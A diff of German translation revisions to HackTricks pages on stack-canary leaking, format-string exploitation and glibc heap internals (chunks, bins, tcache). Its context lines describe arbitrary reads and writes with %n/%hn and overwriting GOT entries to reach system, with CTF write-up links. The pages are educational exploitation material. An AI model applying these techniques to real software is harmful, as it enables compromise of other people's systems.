 Dieser Angriff wird in dem Writeup durchgeführt: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
 

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md

@@ -10,7 +10,7 @@ Anschließend **ruft der Angreifer die puts-Funktionalität** in der Mitte der N
 
 Mit diesen Informationen kann der Angreifer **eine neue Attacke erstellen und senden**, wobei er den Canary kennt (in derselben Programmsitzung).
 
-Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der Lage sein muss, den **Inhalt** seiner **Nutzlast** zu **drucken**, um den **Canary** zu **exfiltrieren** und dann in der Lage zu sein, eine neue Nutzlast (in der **gleichen Programmsitzung**) zu erstellen und den **echten Buffer-Overflow** zu **senden**.
+Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der Lage sein muss, den **Inhalt** seiner **Nutzlast** zu **drucken**, um den **Canary** zu **exfiltrieren** und dann in der Lage sein muss, eine neue Nutzlast (in der **gleichen Programmsitzung**) zu erstellen und den **echten Buffer-Overflow** zu **senden**.
 
 **CTF-Beispiele:**
 
@@ -28,6 +28,6 @@ Mit einem **arbitrary read**, wie es durch Format-**Strings** bereitgestellt wir
 {{#endref}}
 
 - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
-- Diese Herausforderung missbraucht auf sehr einfache Weise einen Format-String, um den Canary vom Stack zu lesen.
+- Diese Herausforderung missbraucht auf sehr einfache Weise eine Format-String, um den Canary vom Stack zu lesen.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/format-strings/README.md

@@ -2,13 +2,14 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 ## Grundlegende Informationen
 
 In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**.
 
 Andere anfällige Funktionen sind **`sprintf()`** und **`fprintf()`**.
 
-Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Fähigkeiten ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Auf diese Weise kann er **beliebigen Code ausführen**.
+Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Funktionen ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Dadurch ist es möglich, **willkürlichen Code auszuführen**.
 
 #### Formatierer:
 ```bash
@@ -68,7 +69,7 @@ und direkt das vierte lesen.
 Beachten Sie, dass der Angreifer den `printf` **Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stack sein wird, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stack schreiben könnte.
 
 > [!CAUTION]
-> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **willkürliche Adressen im Stack hinzuzufügen und `printf` dazu zu bringen, auf sie zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzt.
+> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **willkürliche Adressen im Stack hinzuzufügen und `printf` dazu zu bringen, auf sie zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzen kann.
 
 ## **Willkürliches Lesen**
 
@@ -90,7 +91,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 
 ### Offset finden
 
-Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`** und den Wert **erhöhen**, bis Sie die `A's` erhalten.
+Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) gefolgt von **`%1$x`** senden und den Wert **erhöhen**, bis Sie die `A's` erhalten.
 
 <details>
 
@@ -134,7 +135,7 @@ Arbitrary Reads können nützlich sein, um:
 
 ## **Arbitrary Write**
 
-Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen schreiben kann, wie er möchte, wird er in der Lage sein, **`%<num>$n`** eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.
+Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen schreiben kann, wie er mit printf möchte, wird er in der Lage sein, **`%<num>$n`** eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.
 
 Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Um dies zu tun, ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die `num` Position** angezeigt wird.
 ```bash
@@ -154,8 +155,8 @@ In diesem Beispiel wird das Ziel sein, die **Adresse** einer **Funktion** in der
 Wir werden eine **Funktion** **überschreiben**, die ihre **Argumente** vom **Benutzer** **erhält** und sie auf die **`system`** **Funktion** **zeigt**.\
 Wie bereits erwähnt, sind normalerweise 2 Schritte erforderlich, um die Adresse zu schreiben: Zuerst **schreibt man 2 Bytes** der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
 
-- **HOB** wird auf die 2 höheren Bytes der Adresse aufgerufen
+- **HOB** wird für die 2 höheren Bytes der Adresse aufgerufen
-- **LOB** wird auf die 2 niedrigeren Bytes der Adresse aufgerufen
+- **LOB** wird für die 2 niedrigeren Bytes der Adresse aufgerufen
 
 Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie **zuerst das kleinste** von \[HOB, LOB] schreiben und dann das andere.
 
@@ -210,6 +211,6 @@ Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkei
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der win-Funktion (ret2win) zu überschreiben
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückschleift) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
+- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückläuft) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/libc-heap/README.md

@@ -12,12 +12,12 @@ Wie gezeigt, befindet sich der Heap direkt nach dem Laden der Binärdatei im Spe
 
 ### Basic Chunk Allocation
 
-Wenn Daten im Heap gespeichert werden sollen, wird ein Teil des Heaps dafür reserviert. Dieser Speicher gehört zu einem Bin und nur die angeforderten Daten + der Speicher der Bin-Header + der Offset der minimalen Bin-Größe werden für den Chunk reserviert. Das Ziel ist es, so wenig Speicher wie möglich zu reservieren, ohne es kompliziert zu machen, wo sich jeder Chunk befindet. Zu diesem Zweck werden die Metadaten-Chunk-Informationen verwendet, um zu wissen, wo sich jeder verwendete/freie Chunk befindet.
+Wenn Daten im Heap gespeichert werden sollen, wird ein Teil des Heaps dafür reserviert. Dieser Speicher gehört zu einem Bin und nur die angeforderten Daten + der Speicher der Bin-Header + der Offset der minimalen Bin-Größe werden für den Chunk reserviert. Das Ziel ist es, so wenig Speicher wie möglich zu reservieren, ohne es kompliziert zu machen, wo sich jeder Chunk befindet. Zu diesem Zweck werden die Metadaten des Chunks verwendet, um zu wissen, wo sich jeder verwendete/freie Chunk befindet.
 
 Es gibt verschiedene Möglichkeiten, den Speicher zu reservieren, die hauptsächlich von dem verwendeten Bin abhängen, aber eine allgemeine Methodik ist die folgende:
 
 - Das Programm beginnt mit der Anforderung einer bestimmten Menge an Speicher.
-- Wenn in der Liste der Chunks ein verfügbarer, ausreichend großer Chunk vorhanden ist, wird dieser verwendet.
+- Wenn in der Liste der Chunks ein verfügbarer Chunk vorhanden ist, der groß genug ist, um die Anfrage zu erfüllen, wird er verwendet.
 - Dies kann sogar bedeuten, dass ein Teil des verfügbaren Chunks für diese Anfrage verwendet wird und der Rest zur Chunk-Liste hinzugefügt wird.
 - Wenn in der Liste kein verfügbarer Chunk vorhanden ist, aber noch Platz im zugewiesenen Heap-Speicher ist, erstellt der Heap-Manager einen neuen Chunk.
 - Wenn nicht genügend Heap-Speicher vorhanden ist, um den neuen Chunk zuzuweisen, bittet der Heap-Manager den Kernel, den dem Heap zugewiesenen Speicher zu erweitern, und verwendet dann diesen Speicher, um den neuen Chunk zu generieren.
@@ -37,7 +37,7 @@ Im Gegensatz zur Hauptarena, die sich mit dem `brk` Systemaufruf erweitert, erst
 
 ### Subheaps
 
-Subheaps dienen als Speicherreserven für sekundäre Arenas in multithreaded Anwendungen, sodass sie wachsen und ihre eigenen Heap-Bereiche getrennt vom Hauptheap verwalten können. So unterscheiden sich Subheaps vom ursprünglichen Heap und so funktionieren sie:
+Subheaps dienen als Speicherreserven für sekundäre Arenas in multithreaded Anwendungen, sodass sie wachsen und ihre eigenen Heap-Bereiche getrennt vom Hauptheap verwalten können. So unterscheiden sich Subheaps vom ursprünglichen Heap und wie sie funktionieren:
 
 1. **Ursprünglicher Heap vs. Subheaps**:
 - Der ursprüngliche Heap befindet sich direkt nach der Binärdatei des Programms im Speicher und erweitert sich mit dem `sbrk` Systemaufruf.
@@ -74,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
 
 **Jeder Heap** (Hauptarena oder andere Thread-Arenen) hat eine **`malloc_state` Struktur.**\
 Es ist wichtig zu beachten, dass die **`malloc_state` Struktur der Hauptarena** eine **globale Variable in der libc** ist (daher im libc-Speicherbereich lokalisiert).\
-Im Fall von **`malloc_state`** Strukturen der Heaps von Threads befinden sie sich **innerhalb des eigenen "Heaps" des Threads**.
+Im Fall von **`malloc_state`** Strukturen der Heaps von Threads befinden sie sich **innerhalb des eigenen Thread-"Heaps"**.
 
 Es gibt einige interessante Dinge, die man aus dieser Struktur beachten sollte (siehe C-Code unten):
 
@@ -171,7 +171,7 @@ Die Metadaten sind normalerweise 0x08B, was die aktuelle Chunk-Größe angibt, w
 
 Dann folgt der Platz für die Benutzerdaten und schließlich 0x08B, um die Größe des vorherigen Chunks anzugeben, wenn der Chunk verfügbar ist (oder um Benutzerdaten zu speichern, wenn er zugewiesen ist).
 
-Darüber hinaus wird, wenn verfügbar, der Platz für die Benutzerdaten auch verwendet, um einige Daten zu enthalten:
+Darüber hinaus wird, wenn verfügbar, der Benutzerdatenbereich auch verwendet, um einige Daten zu enthalten:
 
 - **`fd`**: Zeiger auf den nächsten Chunk
 - **`bk`**: Zeiger auf den vorherigen Chunk
@@ -181,7 +181,7 @@ Darüber hinaus wird, wenn verfügbar, der Platz für die Benutzerdaten auch ver
 <figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
 > [!TIP]
-> Beachten Sie, wie das Verlinken der Liste auf diese Weise die Notwendigkeit eines Arrays verhindert, in dem jeder einzelne Chunk registriert wird.
+> Beachten Sie, wie das Verknüpfen der Liste auf diese Weise die Notwendigkeit eines Arrays verhindert, in dem jeder einzelne Chunk registriert wird.
 
 ### Chunk-Pointer
 
@@ -267,7 +267,7 @@ Beachten Sie, dass für die Berechnung des insgesamt benötigten Speicherplatzes
 
 Diese Funktionen arbeiten, indem sie einen Zeiger auf einen Chunk erhalten und sind nützlich, um Metadaten zu überprüfen/zu setzen:
 
-- Überprüfen Sie Chunk-Flags
+- Überprüfen Sie die Chunk-Flags
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
 
@@ -330,7 +330,7 @@ people extending or adapting this malloc.
 /* Treat space at ptr + offset as a chunk */
 #define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
 ```
-- Insue-Bit
+- Insue bit
 ```c
 /* extract p's inuse bit */
 #define inuse(p)							      \
@@ -365,7 +365,7 @@ people extending or adapting this malloc.
 /* Set size at footer (only when chunk is not in use) */
 #define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
 ```
-- Bestimmen Sie die Größe der tatsächlich verwendbaren Daten im Chunk
+- Bestimmen Sie die Größe der tatsächlich nutzbaren Daten im Chunk
 ```c
 #pragma GCC poison mchunk_size
 #pragma GCC poison mchunk_prev_size
@@ -415,9 +415,9 @@ Setzen Sie einen Haltepunkt am Ende der Hauptfunktion und lassen Sie uns herausf
 
 <figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
 
-Es ist möglich zu sehen, dass die Zeichenkette panda bei `0xaaaaaaac12a0` gespeichert wurde (was die Adresse ist, die als Antwort von malloc innerhalb von `x0` gegeben wurde). Wenn man 0x10 Bytes davor überprüft, kann man sehen, dass das `0x0` darstellt, dass der **vorherige Chunk nicht verwendet wird** (Länge 0) und dass die Länge dieses Chunks `0x21` beträgt.
+Es ist möglich zu sehen, dass die Zeichenkette panda bei `0xaaaaaaac12a0` gespeichert wurde (was die Adresse ist, die als Antwort von malloc in `x0` gegeben wurde). Wenn man 0x10 Bytes davor überprüft, kann man sehen, dass das `0x0` darstellt, dass der **vorherige Chunk nicht verwendet wird** (Länge 0) und dass die Länge dieses Chunks `0x21` beträgt.
 
-Der reservierte zusätzliche Platz (0x21-0x10=0x11) stammt von den **hinzugefügten Headern** (0x10) und 0x1 bedeutet nicht, dass es 0x21B reserviert wurde, sondern die letzten 3 Bits der Länge des aktuellen Headers haben einige spezielle Bedeutungen. Da die Länge immer 16-Byte-ausgerichtet ist (in 64-Bit-Maschinen), werden diese Bits tatsächlich niemals von der Längenzahl verwendet.
+Der reservierte zusätzliche Platz (0x21-0x10=0x11) stammt von den **hinzugefügten Headern** (0x10) und 0x1 bedeutet nicht, dass es 0x21B reserviert wurde, sondern die letzten 3 Bits der Länge des aktuellen Headers haben einige spezielle Bedeutungen. Da die Länge immer 16-Byte ausgerichtet ist (in 64-Bit-Maschinen), werden diese Bits tatsächlich niemals von der Längenzahl verwendet.
 ```
 0x1:     Previous in Use     - Specifies that the chunk before it in memory is in use
 0x2:     Is MMAPPED          - Specifies that the chunk was obtained with mmap()

src/binary-exploitation/libc-heap/bins-and-memory-allocations.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-Um die Effizienz der Speicherung von Chunks zu verbessern, befindet sich jeder Chunk nicht nur in einer verketteten Liste, sondern es gibt mehrere Typen. Dies sind die Bins und es gibt 5 Arten von Bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) kleine Bins, 63 große Bins, 1 unsortierter Bin, 10 schnelle Bins und 64 tcache Bins pro Thread.
+Um die Effizienz zu verbessern, wie Chunks gespeichert werden, ist jeder Chunk nicht nur in einer verketteten Liste, sondern es gibt mehrere Typen. Dies sind die Bins und es gibt 5 Arten von Bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) kleine Bins, 63 große Bins, 1 unsortierter Bin, 10 schnelle Bins und 64 tcache Bins pro Thread.
 
 Die Anfangsadresse zu jedem unsortierten, kleinen und großen Bin befindet sich im selben Array. Der Index 0 ist ungenutzt, 1 ist der unsortierte Bin, Bins 2-64 sind kleine Bins und Bins 65-127 sind große Bins.
 
@@ -12,16 +12,16 @@ Die Anfangsadresse zu jedem unsortierten, kleinen und großen Bin befindet sich
 
 Obwohl Threads versuchen, ihren eigenen Heap zu haben (siehe [Arenas](bins-and-memory-allocations.md#arenas) und [Subheaps](bins-and-memory-allocations.md#subheaps)), besteht die Möglichkeit, dass ein Prozess mit vielen Threads (wie ein Webserver) **den Heap mit anderen Threads teilen wird**. In diesem Fall ist die Hauptlösung die Verwendung von **Lockern**, die **die Threads erheblich verlangsamen können**.
 
-Daher ist ein Tcache ähnlich wie ein schneller Bin pro Thread, da es sich um eine **einzelne verkettete Liste** handelt, die Chunks nicht zusammenführt. Jeder Thread hat **64 einfach verkettete Tcache Bins**. Jeder Bin kann maximal [7 gleich große Chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) haben, die von [24 bis 1032B auf 64-Bit-Systemen und 12 bis 516B auf 32-Bit-Systemen](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) reichen.
+Daher ist ein tcache ähnlich wie ein schneller Bin pro Thread, da es sich um eine **einzelne verkettete Liste** handelt, die Chunks nicht zusammenführt. Jeder Thread hat **64 einfach verkettete tcache Bins**. Jeder Bin kann maximal [7 gleich große Chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) haben, die von [24 bis 1032B auf 64-Bit-Systemen und 12 bis 516B auf 32-Bit-Systemen](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) reichen.
 
-**Wenn ein Thread** einen Chunk freigibt, **wenn er nicht zu groß ist**, um im Tcache zuzugewiesen zu werden, und der entsprechende Tcache Bin **nicht voll ist** (bereits 7 Chunks), **wird er dort zugewiesen**. Wenn er nicht in den Tcache gehen kann, muss er auf das Heap-Lock warten, um die Freigabeoperation global durchführen zu können.
+**Wenn ein Thread** einen Chunk freigibt, **wenn er nicht zu groß ist**, um im tcache zuzugewiesen zu werden, und der entsprechende tcache Bin **nicht voll ist** (bereits 7 Chunks), **wird er dort zugewiesen**. Wenn er nicht in den tcache gehen kann, muss er auf das Heap-Lock warten, um die Freigabeoperation global durchführen zu können.
 
-Wenn ein **Chunk zugewiesen wird**, wenn es einen freien Chunk der benötigten Größe im **Tcache gibt, wird er verwendet**, andernfalls muss er auf das Heap-Lock warten, um einen in den globalen Bins zu finden oder einen neuen zu erstellen.\
+Wenn ein **Chunk zugewiesen wird**, wenn es einen freien Chunk der benötigten Größe im **Tcache gibt, wird er ihn verwenden**, andernfalls muss er auf das Heap-Lock warten, um einen in den globalen Bins zu finden oder einen neuen zu erstellen.\
-Es gibt auch eine Optimierung, in diesem Fall, während das Heap-Lock aktiv ist, **wird der Thread seinen Tcache mit Heap-Chunks (7) der angeforderten Größe füllen**, sodass er, falls er mehr benötigt, diese im Tcache findet.
+Es gibt auch eine Optimierung, in diesem Fall, während das Heap-Lock aktiv ist, **wird der Thread seinen Tcache mit Heap-Chunks (7) der angeforderten Größe füllen**, sodass er, falls er mehr benötigt, sie im Tcache findet.
 
 <details>
 
-<summary>Fügen Sie ein Beispiel für einen Tcache-Chunk hinzu</summary>
+<summary>Fügen Sie ein Beispiel für einen tcache-Chunk hinzu</summary>
 ```c
 #include <stdlib.h>
 #include <stdio.h>
@@ -46,7 +46,7 @@ Tcachebins[idx=0, size=0x20, count=1] ←  Chunk(addr=0xaaaaaaac12a0, size=0x20,
 
 #### Tcache-Strukturen & Funktionen
 
-Im folgenden Code sind die **max bins** und **chunks pro Index** zu sehen, die **`tcache_entry`**-Struktur, die erstellt wurde, um doppelte Freigaben zu vermeiden, und **`tcache_perthread_struct`**, eine Struktur, die jeder Thread verwendet, um die Adressen zu jedem Index des Bins zu speichern.
+Im folgenden Code sind die **max bins** und **chunks pro Index**, die **`tcache_entry`**-Struktur, die erstellt wurde, um doppelte Freigaben zu vermeiden, und die **`tcache_perthread_struct`**, eine Struktur, die jeder Thread verwendet, um die Adressen zu jedem Index des Bins zu speichern, sichtbar.
 
 <details>
 
@@ -149,11 +149,11 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
 
 #### Tcache-Indizes
 
-Der Tcache hat mehrere Bins, abhängig von der Größe und den initialen Zeigern auf den **ersten Chunk jedes Index und der Anzahl der Chunks pro Index, die sich innerhalb eines Chunks befinden**. Das bedeutet, dass es möglich ist, alle Tcache-Startpunkte und die Anzahl der Tcache-Chunks zu finden, indem man den Chunk mit diesen Informationen (normalerweise den ersten) lokalisiert.
+Die Tcache hat mehrere Bins, abhängig von der Größe und den initialen Zeigern auf den **ersten Chunk jedes Index und der Anzahl der Chunks pro Index, die sich innerhalb eines Chunks befinden**. Das bedeutet, dass es möglich ist, alle Tcache-Startpunkte und die Anzahl der Tcache-Chunks zu finden, indem man den Chunk mit diesen Informationen (normalerweise den ersten) lokalisiert.
 
 ### Schnelle Bins
 
-Schnelle Bins sind darauf ausgelegt, **die Speicherzuweisung für kleine Chunks zu beschleunigen**, indem kürzlich freigegebene Chunks in einer schnell zugänglichen Struktur gehalten werden. Diese Bins verwenden einen Last-In, First-Out (LIFO)-Ansatz, was bedeutet, dass der **zuletzt freigegebene Chunk der erste** ist, der wiederverwendet wird, wenn eine neue Zuweisungsanforderung vorliegt. Dieses Verhalten ist vorteilhaft für die Geschwindigkeit, da es schneller ist, von oben auf einen Stapel (LIFO) zuzugreifen und zu entfernen, im Vergleich zu einer Warteschlange (FIFO).
+Schnelle Bins sind darauf ausgelegt, **die Speicherzuweisung für kleine Chunks zu beschleunigen**, indem kürzlich freigegebene Chunks in einer schnell zugänglichen Struktur gehalten werden. Diese Bins verwenden einen Last-In, First-Out (LIFO)-Ansatz, was bedeutet, dass der **kürzlich freigegebene Chunk der erste** ist, der wiederverwendet wird, wenn eine neue Zuweisungsanforderung vorliegt. Dieses Verhalten ist vorteilhaft für die Geschwindigkeit, da es schneller ist, von oben auf einen Stapel (LIFO) zuzugreifen und zu entfernen, im Vergleich zu einer Warteschlange (FIFO).
 
 Zusätzlich verwenden **schnelle Bins einfach verkettete Listen**, nicht doppelt verkettete, was die Geschwindigkeit weiter verbessert. Da Chunks in schnellen Bins nicht mit Nachbarn zusammengeführt werden, ist keine komplexe Struktur erforderlich, die eine Entfernung aus der Mitte ermöglicht. Eine einfach verkettete Liste ist für diese Operationen einfacher und schneller.
 
@@ -162,7 +162,7 @@ Im Grunde genommen passiert hier Folgendes: Der Header (der Zeiger auf den erste
 - Wenn ein neuer Chunk dieser Größe zugewiesen wird, zeigt der Header auf einen freien Chunk, der verwendet werden kann. Da dieser freie Chunk auf den nächsten Chunk zeigt, wird diese Adresse im Header gespeichert, damit die nächste Zuweisung weiß, wo ein verfügbarer Chunk zu finden ist.
 - Wenn ein Chunk freigegeben wird, speichert der freie Chunk die Adresse des aktuell verfügbaren Chunks, und die Adresse dieses neu freigegebenen Chunks wird im Header platziert.
 
-Die maximale Größe einer verketteten Liste beträgt `0x80` und sie sind so organisiert, dass ein Chunk der Größe `0x20` im Index `0` und ein Chunk der Größe `0x30` im Index `1` wäre...
+Die maximale Größe einer verketteten Liste beträgt `0x80` und sie sind so organisiert, dass ein Chunk der Größe `0x20` im Index `0` und ein Chunk der Größe `0x30` im Index `1` sein wird...
 
 > [!CAUTION]
 > Chunks in schnellen Bins sind nicht als verfügbar gekennzeichnet, sodass sie eine Zeit lang als schnelle Bin-Chunks behalten werden, anstatt mit anderen umgebenden freien Chunks zusammengeführt zu werden.
@@ -244,13 +244,13 @@ Fastbins[idx=1, size=0x30] 0x00
 
 ### Unsortierte Bin
 
-Die unsortierte Bin ist ein **Cache**, der vom Heap-Manager verwendet wird, um die Speicherzuweisung zu beschleunigen. So funktioniert es: Wenn ein Programm einen Block freigibt und dieser Block nicht in einem tcache oder schnellen Bin zugewiesen werden kann und nicht mit dem oberen Block kollidiert, platziert der Heap-Manager ihn nicht sofort in einer bestimmten kleinen oder großen Bin. Stattdessen versucht er zuerst, **ihn mit benachbarten freien Blöcken zu verbinden**, um einen größeren Block freien Speichers zu schaffen. Dann wird dieser neue Block in eine allgemeine Bin namens "unsortierte Bin" gelegt.
+Die unsortierte Bin ist ein **Cache**, der vom Heap-Manager verwendet wird, um die Speicherzuweisung schneller zu machen. So funktioniert es: Wenn ein Programm einen Block freigibt und dieser Block nicht in einem tcache oder schnellen Bin zugewiesen werden kann und nicht mit dem oberen Block kollidiert, platziert der Heap-Manager ihn nicht sofort in einer bestimmten kleinen oder großen Bin. Stattdessen versucht er zuerst, **ihn mit benachbarten freien Blöcken zu fusionieren**, um einen größeren Block freien Speichers zu schaffen. Dann wird dieser neue Block in eine allgemeine Bin namens "unsortierte Bin" gelegt.
 
-Wenn ein Programm **Speicher anfordert**, **prüft der Heap-Manager die unsortierte Bin**, um zu sehen, ob ein Block ausreichender Größe vorhanden ist. Wenn er einen findet, wird er ihn sofort verwenden. Wenn er keinen geeigneten Block in der unsortierten Bin findet, verschiebt er alle Blöcke in dieser Liste in ihre entsprechenden Bins, entweder klein oder groß, basierend auf ihrer Größe.
+Wenn ein Programm **Speicher anfordert**, **prüft der Heap-Manager die unsortierte Bin**, um zu sehen, ob es einen Block ausreichender Größe gibt. Wenn er einen findet, wird er ihn sofort verwenden. Wenn er keinen geeigneten Block in der unsortierten Bin findet, verschiebt er alle Blöcke in dieser Liste in ihre entsprechenden Bins, entweder klein oder groß, basierend auf ihrer Größe.
 
 Beachten Sie, dass, wenn ein größerer Block in 2 Hälften geteilt wird und der Rest größer als MINSIZE ist, er wieder in die unsortierte Bin gelegt wird.
 
-Die unsortierte Bin ist also eine Möglichkeit, die Speicherzuweisung zu beschleunigen, indem kürzlich freigegebener Speicher schnell wiederverwendet wird und die Notwendigkeit zeitaufwändiger Suchen und Zusammenführungen verringert wird.
+Die unsortierte Bin ist also eine Möglichkeit, die Speicherzuweisung zu beschleunigen, indem kürzlich freigegebener Speicher schnell wiederverwendet wird und die Notwendigkeit zeitaufwändiger Suchen und Fusionen verringert wird.
 
 > [!CAUTION]
 > Beachten Sie, dass selbst wenn Blöcke unterschiedlichen Kategorien angehören, wenn ein verfügbarer Block mit einem anderen verfügbaren Block kollidiert (auch wenn sie ursprünglich zu unterschiedlichen Bins gehören), sie zusammengeführt werden. 
@@ -285,9 +285,9 @@ free(chunks[i]);
 return 0;
 }
 ```
-Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte in der unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin ist** und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem oberen Chunk zusammengeführt werden**.
+Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte im unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin ist** und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem oberen Chunk zusammengeführt werden**.
 
-Kompilieren Sie es und debuggen Sie es mit einem Haltepunkt im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk in der unsortierten Bin ist:
+Kompilieren Sie es und debuggen Sie es mit einem Haltepunkt im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk im unsortierten Bin ist:
 ```bash
 gef➤  heap bins
 ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -313,7 +313,7 @@ Kleine Bins sind schneller als große Bins, aber langsamer als schnelle Bins.
 
 Jeder Bin der 62 wird **Chunks der gleichen Größe** haben: 16, 24, ... (mit einer maximalen Größe von 504 Bytes in 32-Bit und 1024 in 64-Bit). Dies hilft bei der Geschwindigkeit, den Bin zu finden, in dem ein Platz zugewiesen werden soll, sowie beim Einfügen und Entfernen von Einträgen in diesen Listen.
 
-So wird die Größe des kleinen Bins gemäß dem Index des Bins berechnet:
+So wird die Größe des kleinen Bins entsprechend dem Index des Bins berechnet:
 
 - Kleinste Größe: 2\*4\*index (z.B. index 5 -> 40)
 - Größte Größe: 2\*8\*index (z.B. index 5 -> 80)
@@ -368,9 +368,9 @@ chunks[9] = malloc(0x110);
 return 0;
 }
 ```
